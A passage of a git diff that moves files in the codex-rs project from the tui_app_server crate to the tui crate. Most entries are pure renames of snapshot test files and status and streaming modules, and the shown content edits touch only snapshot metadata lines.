codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap index 6c95cc443..ee8477102 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/history_cell.rs +source: tui/src/history_cell.rs expression: rendered --- /mcp diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap similarity index 85% rename from codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap index c859344b3..bb30096b6 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/history_cell.rs +source: tui/src/history_cell.rs assertion_line: 3310 expression: rendered --- diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap similarity index 96% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap index b9c0dfdee..329cd232d 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap @@ -1,6 +1,5 @@ --- source: tui/src/history_cell.rs -assertion_line: 1540 expression: rendered --- /mcp diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__plan_update_without_note_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__plan_update_without_note_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__plan_update_without_note_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__plan_update_without_note_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_empty_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_empty_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_empty_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_empty_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_long_command_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_long_command_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_long_command_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_long_command_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_many_sessions_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_many_sessions_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_many_sessions_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_many_sessions_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_multiline_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_multiline_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_multiline_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_multiline_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__single_line_command_compact_when_fits.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__single_line_command_compact_when_fits.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__single_line_command_compact_when_fits.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__single_line_command_compact_when_fits.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_renders_remote_image_urls.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_renders_remote_image_urls.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_renders_remote_image_urls.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_renders_remote_image_urls.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap similarity index 99% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap index 9870dddb0..51ce9e312 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap @@ -2,6 +2,7 @@ source: tui/src/history_cell.rs expression: rendered --- + › one two three four five diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_transcript_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_transcript_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_transcript_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_transcript_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap similarity index 85% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap index 63c42564d..315a722dd 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/markdown_render_tests.rs -assertion_line: 714 expression: rendered --- See codex-rs/tui/src/markdown_render.rs:74. diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt.snap b/codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt.snap rename to codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex.snap b/codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex.snap rename to codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap b/codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap rename to codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_family.snap b/codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_family.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_family.snap rename to codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_family.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__multi_agents__tests__collab_agent_transcript.snap b/codex-rs/tui/src/snapshots/codex_tui__multi_agents__tests__collab_agent_transcript.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__multi_agents__tests__collab_agent_transcript.snap rename to codex-rs/tui/src/snapshots/codex_tui__multi_agents__tests__collab_agent_transcript.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_resume_interrupted.snap b/codex-rs/tui/src/snapshots/codex_tui__multi_agents__tests__collab_resume_interrupted.snap similarity index 71% rename from codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_resume_interrupted.snap rename to codex-rs/tui/src/snapshots/codex_tui__multi_agents__tests__collab_resume_interrupted.snap index cf72d0a63..4766beea0 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_resume_interrupted.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__multi_agents__tests__collab_resume_interrupted.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/multi_agents.rs +source: tui/src/multi_agents.rs assertion_line: 784 expression: cell_to_text(&cell) --- diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_snapshot_basic.snap b/codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_snapshot_basic.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_snapshot_basic.snap rename to codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_snapshot_basic.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_wraps_long_lines.snap b/codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_wraps_long_lines.snap similarity index 94% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_wraps_long_lines.snap rename to codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_wraps_long_lines.snap index 2dfab2aa7..8bbcc488c 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_wraps_long_lines.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_wraps_long_lines.snap @@ -1,6 +1,5 @@ --- source: tui/src/pager_overlay.rs -assertion_line: 798 expression: term.backend() --- "/ S T A T I C / / / / / " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap b/codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap rename to codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_renders_live_tail.snap b/codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_renders_live_tail.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_renders_live_tail.snap rename to codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_renders_live_tail.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_snapshot_basic.snap b/codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_snapshot_basic.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_snapshot_basic.snap rename to codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_snapshot_basic.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_screen.snap b/codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_screen.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_screen.snap rename to codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_screen.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_search_error.snap b/codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_search_error.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_search_error.snap rename to codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_search_error.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_table.snap b/codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_table.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_table.snap rename to codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_table.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_thread_names.snap b/codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_thread_names.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_thread_names.snap rename to codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_thread_names.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_truncated.snap b/codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_truncated.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_truncated.snap rename to codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_truncated.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages.snap b/codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages.snap rename to codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages@macos.snap b/codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages@macos.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages@macos.snap rename to codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages@macos.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_working_header.snap b/codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_working_header.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_working_header.snap rename to codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_working_header.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap b/codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap rename to codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__update_prompt__tests__update_prompt_modal.snap b/codex-rs/tui/src/snapshots/codex_tui__update_prompt__tests__update_prompt_modal.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__update_prompt__tests__update_prompt_modal.snap rename to codex-rs/tui/src/snapshots/codex_tui__update_prompt__tests__update_prompt_modal.snap diff --git a/codex-rs/tui_app_server/src/status/account.rs b/codex-rs/tui/src/status/account.rs similarity index 100% rename from codex-rs/tui_app_server/src/status/account.rs rename to codex-rs/tui/src/status/account.rs diff --git a/codex-rs/tui_app_server/src/status/card.rs b/codex-rs/tui/src/status/card.rs similarity index 100% rename from codex-rs/tui_app_server/src/status/card.rs rename to codex-rs/tui/src/status/card.rs diff --git a/codex-rs/tui_app_server/src/status/format.rs b/codex-rs/tui/src/status/format.rs similarity index 100% rename from codex-rs/tui_app_server/src/status/format.rs rename to codex-rs/tui/src/status/format.rs diff --git a/codex-rs/tui_app_server/src/status/helpers.rs b/codex-rs/tui/src/status/helpers.rs similarity index 100% rename from codex-rs/tui_app_server/src/status/helpers.rs rename to codex-rs/tui/src/status/helpers.rs diff --git a/codex-rs/tui_app_server/src/status/mod.rs b/codex-rs/tui/src/status/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/status/mod.rs rename to codex-rs/tui/src/status/mod.rs diff --git a/codex-rs/tui_app_server/src/status/rate_limits.rs b/codex-rs/tui/src/status/rate_limits.rs similarity index 100% rename from codex-rs/tui_app_server/src/status/rate_limits.rs rename to codex-rs/tui/src/status/rate_limits.rs diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_credits_and_limits.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_credits_and_limits.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_credits_and_limits.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_credits_and_limits.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_forked_from.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_forked_from.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_forked_from.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_forked_from.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_monthly_limit.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_monthly_limit.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_monthly_limit.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_monthly_limit.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_reasoning_details.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_reasoning_details.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_reasoning_details.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_reasoning_details.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_empty_limits_message.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_empty_limits_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_empty_limits_message.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_empty_limits_message.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_missing_limits_message.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_missing_limits_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_missing_limits_message.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_missing_limits_message.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_stale_limits_message.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_stale_limits_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_stale_limits_message.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_stale_limits_message.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_truncates_in_narrow_terminal.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_truncates_in_narrow_terminal.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_truncates_in_narrow_terminal.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_truncates_in_narrow_terminal.snap diff --git a/codex-rs/tui_app_server/src/status/tests.rs b/codex-rs/tui/src/status/tests.rs similarity index 100% rename from codex-rs/tui_app_server/src/status/tests.rs rename to codex-rs/tui/src/status/tests.rs diff --git a/codex-rs/tui_app_server/src/status_indicator_widget.rs b/codex-rs/tui/src/status_indicator_widget.rs similarity index 100% rename from codex-rs/tui_app_server/src/status_indicator_widget.rs rename to codex-rs/tui/src/status_indicator_widget.rs diff --git a/codex-rs/tui_app_server/src/streaming/chunking.rs b/codex-rs/tui/src/streaming/chunking.rs similarity index 100% rename from codex-rs/tui_app_server/src/streaming/chunking.rs rename to codex-rs/tui/src/streaming/chunking.rs diff --git a/codex-rs/tui_app_server/src/streaming/commit_tick.rs b/codex-rs/tui/src/streaming/commit_tick.rs similarity index 100% rename from codex-rs/tui_app_server/src/streaming/commit_tick.rs rename to codex-rs/tui/src/streaming/commit_tick.rs diff --git a/codex-rs/tui_app_server/src/streaming/controller.rs b/codex-rs/tui/src/streaming/controller.rs similarity index 100% rename from codex-rs/tui_app_server/src/streaming/controller.rs rename to codex-rs/tui/src/streaming/controller.rs diff --git a/codex-rs/tui_app_server/src/streaming/mod.rs b/codex-rs/tui/src/streaming/mod.rs similarity index 100% rename from 